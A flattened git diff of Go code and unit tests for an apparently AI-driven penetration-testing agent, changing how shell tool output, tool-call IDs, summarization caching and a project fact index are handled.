exitCode = *resp.ExitCode exitCode = *resp.ExitCode
} }
var appended string var appended string
if remain := maxCapture - sb.Len(); remain > 0 { if resp.Output != "" {
out := resp.Output sb.WriteString(resp.Output)
if len(out) > remain { appended = resp.Output
out = out[:remain]
}
sb.WriteString(out)
appended = out
} }
// 仅推送写入 sb 的片段,与末尾 Fire/recordMonitor 的截断累计一致,避免最终 tool_result 短于已展示增量。
if w.outputChunk != nil && strings.TrimSpace(appended) != "" { if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
w.outputChunk("execute", tid, appended) w.outputChunk("execute", tid, appended)
} }
@@ -167,16 +185,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if w.outputChunk != nil && tid != "" { if w.outputChunk != nil && tid != "" {
w.outputChunk("execute", tid, hint) w.outputChunk("execute", tid, hint)
} }
if remain := maxCapture - sb.Len(); remain > 0 { sb.WriteString(hint)
h := hint
if len(h) > remain {
h = h[:remain]
}
sb.WriteString(h)
}
} }
if w.recordMonitor != nil { if w.recordMonitor != nil {
w.recordMonitor(command, sb.String(), success, invokeErr) w.recordMonitor(tid, command, sb.String(), success, invokeErr)
} }
w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr) w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr)
outW.Close() outW.Close()
@@ -0,0 +1,138 @@
package multiagent
import (
"context"
"errors"
"io"
"strings"
"testing"
"time"
"cyberstrike-ai/internal/einomcp"
"github.com/cloudwego/eino/adk/filesystem"
"github.com/cloudwego/eino/schema"
)
type mockStreamingShell struct {
immediateErr error
recvErr error
output string
}
func (m *mockStreamingShell) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
if m.immediateErr != nil {
return nil, m.immediateErr
}
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](4)
go func() {
defer outW.Close()
if strings.TrimSpace(m.output) != "" {
_ = outW.Send(&filesystem.ExecuteResponse{Output: m.output}, nil)
}
if m.recvErr != nil {
_ = outW.Send(nil, m.recvErr)
}
}()
return outR, nil
}
func TestEinoExecuteRecvErrIsToolTimeout(t *testing.T) {
tctx, cancel := context.WithTimeout(context.Background(), time.Millisecond)
defer cancel()
time.Sleep(2 * time.Millisecond)
<-tctx.Done()
if !einoExecuteRecvErrIsToolTimeout(context.Canceled, tctx) {
t.Fatal("expected canceled recv with deadline exec ctx to count as tool timeout")
}
if !einoExecuteRecvErrIsToolTimeout(context.DeadlineExceeded, nil) {
t.Fatal("expected DeadlineExceeded recv without tctx")
}
if einoExecuteRecvErrIsToolTimeout(errors.New("exit status 1"), context.Background()) {
t.Fatal("unexpected timeout for generic error")
}
}
func TestEinoStreamingShellWrap_ToolTimeoutImmediateErrIsSoft(t *testing.T) {
inner := &mockStreamingShell{immediateErr: context.DeadlineExceeded}
wrap := &einoStreamingShellWrap{
inner: inner,
toolTimeoutMinutes: 60,
}
sr, err := wrap.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: "true"})
if err != nil {
t.Fatalf("immediate tool timeout must return soft stream, got err: %v", err)
}
defer sr.Close()
var got strings.Builder
for {
resp, rerr := sr.Recv()
if errors.Is(rerr, io.EOF) {
break
}
if rerr != nil {
t.Fatalf("outer stream must not hard-fail, got: %v", rerr)
}
if resp != nil && resp.Output != "" {
got.WriteString(resp.Output)
}
}
if !strings.Contains(got.String(), einoExecuteTimeoutUserHint()) {
t.Fatalf("expected timeout hint, got: %q", got.String())
}
}
func TestEinoStreamingShellWrap_ToolTimeoutRecvErrIsSoft(t *testing.T) {
inner := &mockStreamingShell{recvErr: context.DeadlineExceeded}
notify := einomcp.NewToolInvokeNotifyHolder()
wrap := &einoStreamingShellWrap{
inner: inner,
invokeNotify: notify,
toolTimeoutMinutes: 60,
}
// 生产路径由 Eino compose 注入 toolCallID;单测通过已过期 execCtx 识别 tool_timeout 软错误。
tctx, cancel := context.WithTimeout(context.Background(), time.Millisecond)
defer cancel()
time.Sleep(2 * time.Millisecond)
<-tctx.Done()
sr, err := wrap.ExecuteStreaming(tctx, &filesystem.ExecuteRequest{Command: "sleep 999"})
if err != nil {
t.Fatalf("ExecuteStreaming: %v", err)
}
defer sr.Close()
var got strings.Builder
for {
resp, rerr := sr.Recv()
if errors.Is(rerr, io.EOF) {
break
}
if rerr != nil {
t.Fatalf("outer stream must not hard-fail on tool timeout, got: %v", rerr)
}
if resp != nil && resp.Output != "" {
got.WriteString(resp.Output)
}
}
if !strings.Contains(got.String(), einoExecuteTimeoutUserHint()) {
t.Fatalf("expected timeout hint in stream, got: %q", got.String())
}
}
func TestEinoStreamingShellWrap_NonTimeoutRecvErrStillHard(t *testing.T) {
inner := &mockStreamingShell{recvErr: errors.New("broken pipe")}
wrap := &einoStreamingShellWrap{inner: inner}
sr, err := wrap.ExecuteStreaming(context.Background(), &filesystem.ExecuteRequest{Command: "true"})
if err != nil {
t.Fatalf("ExecuteStreaming: %v", err)
}
defer sr.Close()
_, rerr := sr.Recv()
if rerr == nil || errors.Is(rerr, io.EOF) {
t.Fatal("expected hard stream error for non-timeout failure")
}
}
@@ -96,6 +96,6 @@ func recordEinoADKFilesystemToolMonitor(
} }
id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr) id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr)
if id != "" { if id != "" {
rec(id) rec(id, toolCallID)
} }
} }
+22 -16
View File
@@ -51,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
} }
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) { func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
nameSet := make(map[string]struct{}, len(names)) nameSet := expandAlwaysVisibleNameSet(names)
for _, n := range names {
n = strings.TrimSpace(strings.ToLower(n))
if n == "" {
continue
}
nameSet[n] = struct{}{}
}
if len(nameSet) == 0 { if len(nameSet) == 0 {
return splitToolsForToolSearch(all, fallbackAlwaysVisible) return splitToolsForToolSearch(all, fallbackAlwaysVisible)
} }
@@ -71,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
info, err := t.Info(context.Background()) info, err := t.Info(context.Background())
name := "" name := ""
if err == nil && info != nil { if err == nil && info != nil {
name = strings.TrimSpace(strings.ToLower(info.Name)) name = info.Name
} }
if _, keep := nameSet[name]; keep { if toolMatchesAlwaysVisible(name, nameSet) {
static = append(static, t) static = append(static, t)
continue continue
} }
@@ -110,14 +103,26 @@ func mergeAlwaysVisibleToolNames(configured []string) []string {
return merged return merged
} }
func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) { func reductionCacheRootDir(configuredBase, projectID, conversationID string) string {
base := strings.TrimSpace(configuredBase)
if base == "" {
base = filepath.Join("tmp", "reduction")
}
if pid := strings.TrimSpace(projectID); pid != "" {
return filepath.Join(base, "projects", sanitizeEinoPathSegment(pid))
}
conv := strings.TrimSpace(conversationID)
if conv == "" {
conv = "default"
}
return filepath.Join(base, "conversations", sanitizeEinoPathSegment(conv))
}
func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, projectID, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
if loc == nil { if loc == nil {
return nil, fmt.Errorf("reduction: local backend nil") return nil, fmt.Errorf("reduction: local backend nil")
} }
root := strings.TrimSpace(mw.ReductionRootDir) root := reductionCacheRootDir(mw.ReductionRootDir, projectID, convID)
if root == "" {
root = filepath.Join(os.TempDir(), "cyberstrike-reduction", sanitizeEinoPathSegment(convID))
}
if err := os.MkdirAll(root, 0o755); err != nil { if err := os.MkdirAll(root, 0o755); err != nil {
return nil, fmt.Errorf("reduction root: %w", err) return nil, fmt.Errorf("reduction root: %w", err)
} }
@@ -155,6 +160,7 @@ func prependEinoMiddlewares(
einoLoc *localbk.Local, einoLoc *localbk.Local,
skillsRoot string, skillsRoot string,
conversationID string, conversationID string,
projectID string,
logger *zap.Logger, logger *zap.Logger,
) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) { ) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) {
if mw == nil { if mw == nil {
@@ -174,7 +180,7 @@ func prependEinoMiddlewares(
if place == einoMWSub && !mw.ReductionSubAgents { if place == einoMWSub && !mw.ReductionSubAgents {
// skip // skip
} else { } else {
redMW, rerr := buildReductionMiddleware(ctx, *mw, conversationID, einoLoc, logger) redMW, rerr := buildReductionMiddleware(ctx, *mw, projectID, conversationID, einoLoc, logger)
if rerr != nil { if rerr != nil {
return nil, nil, false, rerr return nil, nil, false, rerr
} }
@@ -3,12 +3,31 @@ package multiagent
import ( import (
"context" "context"
"fmt" "fmt"
"path/filepath"
"strings"
"testing" "testing"
"github.com/cloudwego/eino/components/tool" "github.com/cloudwego/eino/components/tool"
"github.com/cloudwego/eino/schema" "github.com/cloudwego/eino/schema"
) )
func TestReductionCacheRootDir(t *testing.T) {
got := reductionCacheRootDir("", "proj-1", "conv-1")
want := filepath.Join("tmp", "reduction", "projects", "proj-1")
if got != want {
t.Fatalf("project scope: got %q want %q", got, want)
}
got = reductionCacheRootDir("", "", "conv-abc")
want = filepath.Join("tmp", "reduction", "conversations", "conv-abc")
if got != want {
t.Fatalf("conversation scope: got %q want %q", got, want)
}
custom := reductionCacheRootDir("/data/cache", "p1", "c1")
if !strings.HasSuffix(custom, filepath.Join("projects", "p1")) {
t.Fatalf("custom base should still scope by project, got %q", custom)
}
}
type stubTool struct{ name string } type stubTool struct{ name string }
func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) { func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) {
+5 -2
View File
@@ -7,6 +7,7 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"github.com/cloudwego/eino-ext/components/model/openai" "github.com/cloudwego/eino-ext/components/model/openai"
"github.com/cloudwego/eino/adk" "github.com/cloudwego/eino/adk"
@@ -29,7 +30,9 @@ type PlanExecuteRootArgs struct {
MwCfg *config.MultiAgentEinoMiddlewareConfig MwCfg *config.MultiAgentEinoMiddlewareConfig
// ConversationID is used for transcript/isolation paths in middleware. // ConversationID is used for transcript/isolation paths in middleware.
ConversationID string ConversationID string
Logger *zap.Logger DB *database.DB
ProjectID string
Logger *zap.Logger
// ModelName is used for model input token estimation logs. // ModelName is used for model input token estimation logs.
ModelName string ModelName string
// ExecPreMiddlewares 是由 prependEinoMiddlewares 构建的前置中间件(patchtoolcalls, reduction, toolsearch, plantask), // ExecPreMiddlewares 是由 prependEinoMiddlewares 构建的前置中间件(patchtoolcalls, reduction, toolsearch, plantask),
@@ -93,7 +96,7 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
} }
// 4. summarization(最后,与 Deep/Supervisor 一致) // 4. summarization(最后,与 Deep/Supervisor 一致)
if a.AppCfg != nil { if a.AppCfg != nil {
sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.MwCfg, a.ConversationID, a.Logger) sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.MwCfg, a.ConversationID, a.DB, a.ProjectID, a.Logger)
if sumErr != nil { if sumErr != nil {
return nil, fmt.Errorf("plan_execute executor summarization: %w", sumErr) return nil, fmt.Errorf("plan_execute executor summarization: %w", sumErr)
} }
+11 -19
View File
@@ -11,6 +11,7 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/einomcp" "cyberstrike-ai/internal/einomcp"
"cyberstrike-ai/internal/openai" "cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/project" "cyberstrike-ai/internal/project"
@@ -32,8 +33,10 @@ func RunEinoSingleChatModelAgent(
appCfg *config.Config, appCfg *config.Config,
ma *config.MultiAgentConfig, ma *config.MultiAgentConfig,
ag *agent.Agent, ag *agent.Agent,
db *database.DB,
logger *zap.Logger, logger *zap.Logger,
conversationID string, conversationID string,
projectID string,
userMessage string, userMessage string,
history []agent.ChatMessage, history []agent.ChatMessage,
roleTools []string, roleTools []string,
@@ -58,10 +61,12 @@ func RunEinoSingleChatModelAgent(
var mcpIDsMu sync.Mutex var mcpIDsMu sync.Mutex
var mcpIDs []string var mcpIDs []string
recorder := func(id string) { mcpExecBinder := NewMCPExecutionBinder()
recorder := func(id, toolCallID string) {
if id == "" { if id == "" {
return return
} }
mcpExecBinder.Bind(toolCallID, id)
mcpIDsMu.Lock() mcpIDsMu.Lock()
mcpIDs = append(mcpIDs, id) mcpIDs = append(mcpIDs, id)
mcpIDsMu.Unlock() mcpIDsMu.Unlock()
@@ -75,29 +80,15 @@ func RunEinoSingleChatModelAgent(
return out return out
} }
toolOutputChunk := func(toolName, toolCallID, chunk string) {
if progress == nil || toolCallID == "" {
return
}
progress("tool_result_delta", chunk, map[string]interface{}{
"toolName": toolName,
"toolCallId": toolCallID,
"index": 0,
"total": 0,
"iteration": 0,
"source": "eino",
})
}
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder() toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder) einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder)
mainDefs := ag.ToolsForRole(roleTools) mainDefs := ag.ToolsForRole(roleTools)
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, einoSingleAgentName) mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
if err != nil { if err != nil {
return nil, err return nil, err
} }
mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger) mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
if err != nil { if err != nil {
return nil, fmt.Errorf("eino single eino 中间件: %w", err) return nil, fmt.Errorf("eino single eino 中间件: %w", err)
} }
@@ -132,7 +123,7 @@ func RunEinoSingleChatModelAgent(
return nil, fmt.Errorf("eino single 模型: %w", err) return nil, fmt.Errorf("eino single 模型: %w", err)
} }
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger) mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
if err != nil { if err != nil {
return nil, fmt.Errorf("eino single summarization: %w", err) return nil, fmt.Errorf("eino single summarization: %w", err)
} }
@@ -145,7 +136,7 @@ func RunEinoSingleChatModelAgent(
} }
if einoSkillMW != nil { if einoSkillMW != nil {
if einoFSTools && einoLoc != nil { if einoFSTools && einoLoc != nil {
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk) fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
if fsErr != nil { if fsErr != nil {
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr) return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
} }
@@ -237,6 +228,7 @@ func RunEinoSingleChatModelAgent(
McpIDs: &mcpIDs, McpIDs: &mcpIDs,
FilesystemMonitorAgent: ag, FilesystemMonitorAgent: ag,
FilesystemMonitorRecord: recorder, FilesystemMonitorRecord: recorder,
MCPExecutionBinder: mcpExecBinder,
ToolInvokeNotify: toolInvokeNotify, ToolInvokeNotify: toolInvokeNotify,
DA: chatAgent, DA: chatAgent,
ModelFacingTrace: modelFacingTrace, ModelFacingTrace: modelFacingTrace,
+1 -1
View File
@@ -81,7 +81,7 @@ func subAgentFilesystemMiddleware(
loc *localbk.Local, loc *localbk.Local,
invokeNotify *einomcp.ToolInvokeNotifyHolder, invokeNotify *einomcp.ToolInvokeNotifyHolder,
einoAgentName string, einoAgentName string,
recordMonitor func(command, stdout string, success bool, invokeErr error), recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error),
toolTimeoutMinutes int, toolTimeoutMinutes int,
outputChunk func(toolName, toolCallID, chunk string), outputChunk func(toolName, toolCallID, chunk string),
) (adk.ChatModelAgentMiddleware, error) { ) (adk.ChatModelAgentMiddleware, error) {
+56 -1
View File
@@ -9,7 +9,9 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
copenai "cyberstrike-ai/internal/openai" copenai "cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/project"
"github.com/bytedance/sonic" "github.com/bytedance/sonic"
"github.com/cloudwego/eino/adk" "github.com/cloudwego/eino/adk"
@@ -40,6 +42,8 @@ func newEinoSummarizationMiddleware(
appCfg *config.Config, appCfg *config.Config,
mwCfg *config.MultiAgentEinoMiddlewareConfig, mwCfg *config.MultiAgentEinoMiddlewareConfig,
conversationID string, conversationID string,
db *database.DB,
projectID string,
logger *zap.Logger, logger *zap.Logger,
) (adk.ChatModelAgentMiddleware, error) { ) (adk.ChatModelAgentMiddleware, error) {
if summaryModel == nil || appCfg == nil { if summaryModel == nil || appCfg == nil {
@@ -143,7 +147,14 @@ func newEinoSummarizationMiddleware(
}, },
}, },
Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) { Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax) out, ferr := summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
if ferr != nil {
return nil, ferr
}
if appCfg != nil {
out = refreshFactIndexInMessages(out, db, projectID, appCfg.Project, logger)
}
return out, nil
}, },
Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error { Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
if transcriptPath != "" && len(before.Messages) > 0 { if transcriptPath != "" && len(before.Messages) > 0 {
@@ -176,6 +187,50 @@ func newEinoSummarizationMiddleware(
return mw, nil return mw, nil
} }
// refreshFactIndexInMessages 在 summarization 压缩后,用 DB 最新索引替换 system 中已有的项目黑板索引段。
func refreshFactIndexInMessages(msgs []adk.Message, db *database.DB, projectID string, cfg config.ProjectConfig, logger *zap.Logger) []adk.Message {
if db == nil || !cfg.Enabled {
return msgs
}
projectID = strings.TrimSpace(projectID)
if projectID == "" {
return msgs
}
freshIndex, err := project.BuildFactIndexBlock(db, projectID, cfg)
if err != nil {
if logger != nil {
logger.Warn("summarization: 刷新项目黑板索引失败", zap.String("projectId", projectID), zap.Error(err))
}
return msgs
}
freshIndex = strings.TrimSpace(freshIndex)
if freshIndex == "" {
return msgs
}
changed := false
out := make([]adk.Message, len(msgs))
for i, msg := range msgs {
if msg == nil || msg.Role != schema.System {
out[i] = msg
continue
}
newContent, ok := project.ReplaceFactIndexSection(msg.Content, freshIndex)
if !ok {
out[i] = msg
continue
}
cloned := *msg
cloned.Content = newContent
out[i] = &cloned
changed = true
}
if changed && logger != nil {
logger.Info("summarization: 已刷新项目黑板索引", zap.String("projectId", projectID))
}
return out
}
// summarizeFinalizeWithRecentAssistantToolTrail 在摘要消息后保留最近 assistant/tool 轨迹,避免压缩后执行链断裂。 // summarizeFinalizeWithRecentAssistantToolTrail 在摘要消息后保留最近 assistant/tool 轨迹,避免压缩后执行链断裂。
// //
// 关键不变量:tool_call ↔ tool_result 的 pair 必须整体保留或整体丢弃。 // 关键不变量:tool_call ↔ tool_result 的 pair 必须整体保留或整体丢弃。
+56 -1
View File
@@ -7,9 +7,14 @@ import (
"strings" "strings"
"testing" "testing"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/project"
"github.com/cloudwego/eino/adk" "github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/adk/middlewares/summarization" "github.com/cloudwego/eino/adk/middlewares/summarization"
"github.com/cloudwego/eino/schema" "github.com/cloudwego/eino/schema"
"go.uber.org/zap"
) )
// fixedTokenCounter 让 tool 消息按 tokensPerToolMessage 计,其它消息按 1 计。 // fixedTokenCounter 让 tool 消息按 tokensPerToolMessage 计,其它消息按 1 计。
@@ -389,9 +394,11 @@ func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
"你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。", "你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。",
"高强度扫描要求:全力出击", "高强度扫描要求:全力出击",
"", "",
project.FactIndexSectionStartMarker,
"## 项目黑板索引(project: 123, id: abc", "## 项目黑板索引(project: 123, id: abc",
"(暂无事实)", "(暂无事实)",
"需要写入请使用 upsert_project_fact。", "需要写入请使用 upsert_project_fact。",
project.FactIndexSectionEndMarker,
"", "",
"# Skills System", "# Skills System",
"**How to Use Skills**", "**How to Use Skills**",
@@ -419,7 +426,7 @@ func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) { func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
t.Parallel() t.Parallel()
msgs := []adk.Message{ msgs := []adk.Message{
schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n## 项目黑板索引(project: p1, id: x\n(暂无事实)\n# Skills System\nboiler"), schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n" + project.FactIndexSectionStartMarker + "\n## 项目黑板索引(project: p1, id: x\n(暂无事实)\n" + project.FactIndexSectionEndMarker + "\n# Skills System\nboiler"),
schema.UserMessage("hello"), schema.UserMessage("hello"),
schema.AssistantMessage("reply", nil), schema.AssistantMessage("reply", nil),
} }
@@ -434,3 +441,51 @@ func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
t.Fatalf("dynamic blackboard missing: %q", out) t.Fatalf("dynamic blackboard missing: %q", out)
} }
} }
func TestRefreshFactIndexInMessages(t *testing.T) {
t.Parallel()
dbPath := filepath.Join(t.TempDir(), "summarize-facts.db")
db, err := database.NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatal(err)
}
defer db.Close()
proj, err := db.CreateProject(&database.Project{Name: "summarize-proj"})
if err != nil {
t.Fatal(err)
}
cfg := config.ProjectConfig{Enabled: true}
oldIndex, err := project.BuildFactIndexBlock(db, proj.ID, cfg)
if err != nil {
t.Fatal(err)
}
_, err = db.UpsertProjectFact(&database.ProjectFact{
ProjectID: proj.ID,
FactKey: "target/host",
Category: "target",
Summary: "fresh host fact",
})
if err != nil {
t.Fatal(err)
}
msgs := []adk.Message{
schema.SystemMessage("instruction\n\n" + oldIndex),
schema.UserMessage("hi"),
}
out := refreshFactIndexInMessages(msgs, db, proj.ID, cfg, nil)
sys := out[0].Content
if strings.Contains(sys, "(暂无事实)") {
t.Fatalf("expected refreshed index, got: %q", sys)
}
if !strings.Contains(sys, "fresh host fact") {
t.Fatalf("expected new fact in index: %q", sys)
}
if !strings.Contains(sys, "instruction") {
t.Fatalf("non-index system content should be preserved: %q", sys)
}
}
@@ -6,6 +6,8 @@ import (
"github.com/cloudwego/eino/adk" "github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/schema" "github.com/cloudwego/eino/schema"
"cyberstrike-ai/internal/project"
"github.com/bytedance/sonic" "github.com/bytedance/sonic"
) )
@@ -19,7 +21,6 @@ const (
transcriptToolIndexStartMarker = "以下是当前会话绑定的工具名称索引" transcriptToolIndexStartMarker = "以下是当前会话绑定的工具名称索引"
transcriptPersonaStartMarker = "你是CyberStrikeAI" transcriptPersonaStartMarker = "你是CyberStrikeAI"
transcriptSkillsSystemMarker = "# Skills System" transcriptSkillsSystemMarker = "# Skills System"
transcriptProjectBlackboardMarker = "## 项目黑板索引"
) )
// formatSummarizationTranscript renders pre-compaction messages for transcript.txt. // formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
@@ -88,11 +89,17 @@ func stripSkillsSystemBoilerplate(s string) string {
} }
func extractProjectBlackboardSection(s string) string { func extractProjectBlackboardSection(s string) string {
idx := strings.Index(s, transcriptProjectBlackboardMarker) start := strings.Index(s, project.FactIndexSectionStartMarker)
if idx < 0 { if start < 0 {
return "" return ""
} }
return strings.TrimSpace(s[idx:]) section := s[start:]
end := strings.Index(section, project.FactIndexSectionEndMarker)
if end < 0 {
return ""
}
section = section[:end+len(project.FactIndexSectionEndMarker)]
return strings.TrimSpace(section)
} }
func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) { func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
+4
View File
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后 // ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。 // loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace") var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
@@ -0,0 +1,31 @@
package multiagent
import "strings"
// MCPExecutionBinder maps ADK toolCallID → MCP monitor execution ID for a single agent run.
type MCPExecutionBinder struct {
byToolCall map[string]string
}
func NewMCPExecutionBinder() *MCPExecutionBinder {
return &MCPExecutionBinder{byToolCall: make(map[string]string)}
}
func (b *MCPExecutionBinder) Bind(toolCallID, executionID string) {
if b == nil {
return
}
tid := strings.TrimSpace(toolCallID)
eid := strings.TrimSpace(executionID)
if tid == "" || eid == "" {
return
}
b.byToolCall[tid] = eid
}
func (b *MCPExecutionBinder) ExecutionID(toolCallID string) string {
if b == nil {
return ""
}
return b.byToolCall[strings.TrimSpace(toolCallID)]
}
@@ -0,0 +1,14 @@
package multiagent
import "testing"
func TestMCPExecutionBinder(t *testing.T) {
b := NewMCPExecutionBinder()
b.Bind("call-1", "exec-1")
if got := b.ExecutionID("call-1"); got != "exec-1" {
t.Fatalf("expected exec-1, got %q", got)
}
if got := b.ExecutionID("missing"); got != "" {
t.Fatalf("expected empty, got %q", got)
}
}
+18 -25
View File
@@ -15,6 +15,7 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/agents" "cyberstrike-ai/internal/agents"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/einomcp" "cyberstrike-ai/internal/einomcp"
"cyberstrike-ai/internal/openai" "cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/project" "cyberstrike-ai/internal/project"
@@ -56,8 +57,10 @@ func RunDeepAgent(
appCfg *config.Config, appCfg *config.Config,
ma *config.MultiAgentConfig, ma *config.MultiAgentConfig,
ag *agent.Agent, ag *agent.Agent,
db *database.DB,
logger *zap.Logger, logger *zap.Logger,
conversationID string, conversationID string,
projectID string,
userMessage string, userMessage string,
history []agent.ChatMessage, history []agent.ChatMessage,
roleTools []string, roleTools []string,
@@ -107,10 +110,12 @@ func RunDeepAgent(
var mcpIDsMu sync.Mutex var mcpIDsMu sync.Mutex
var mcpIDs []string var mcpIDs []string
recorder := func(id string) { mcpExecBinder := NewMCPExecutionBinder()
recorder := func(id, toolCallID string) {
if id == "" { if id == "" {
return return
} }
mcpExecBinder.Bind(toolCallID, id)
mcpIDsMu.Lock() mcpIDsMu.Lock()
mcpIDs = append(mcpIDs, id) mcpIDs = append(mcpIDs, id)
mcpIDsMu.Unlock() mcpIDsMu.Unlock()
@@ -128,21 +133,6 @@ func RunDeepAgent(
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder() toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
mainDefs := ag.ToolsForRole(roleTools) mainDefs := ag.ToolsForRole(roleTools)
toolOutputChunk := func(toolName, toolCallID, chunk string) {
// When toolCallId is missing, frontend ignores tool_result_delta.
if progress == nil || toolCallID == "" {
return
}
progress("tool_result_delta", chunk, map[string]interface{}{
"toolName": toolName,
"toolCallId": toolCallID,
// index/total/iteration are optional for UI; we don't know them in this bridge.
"index": 0,
"total": 0,
"iteration": 0,
"source": "eino",
})
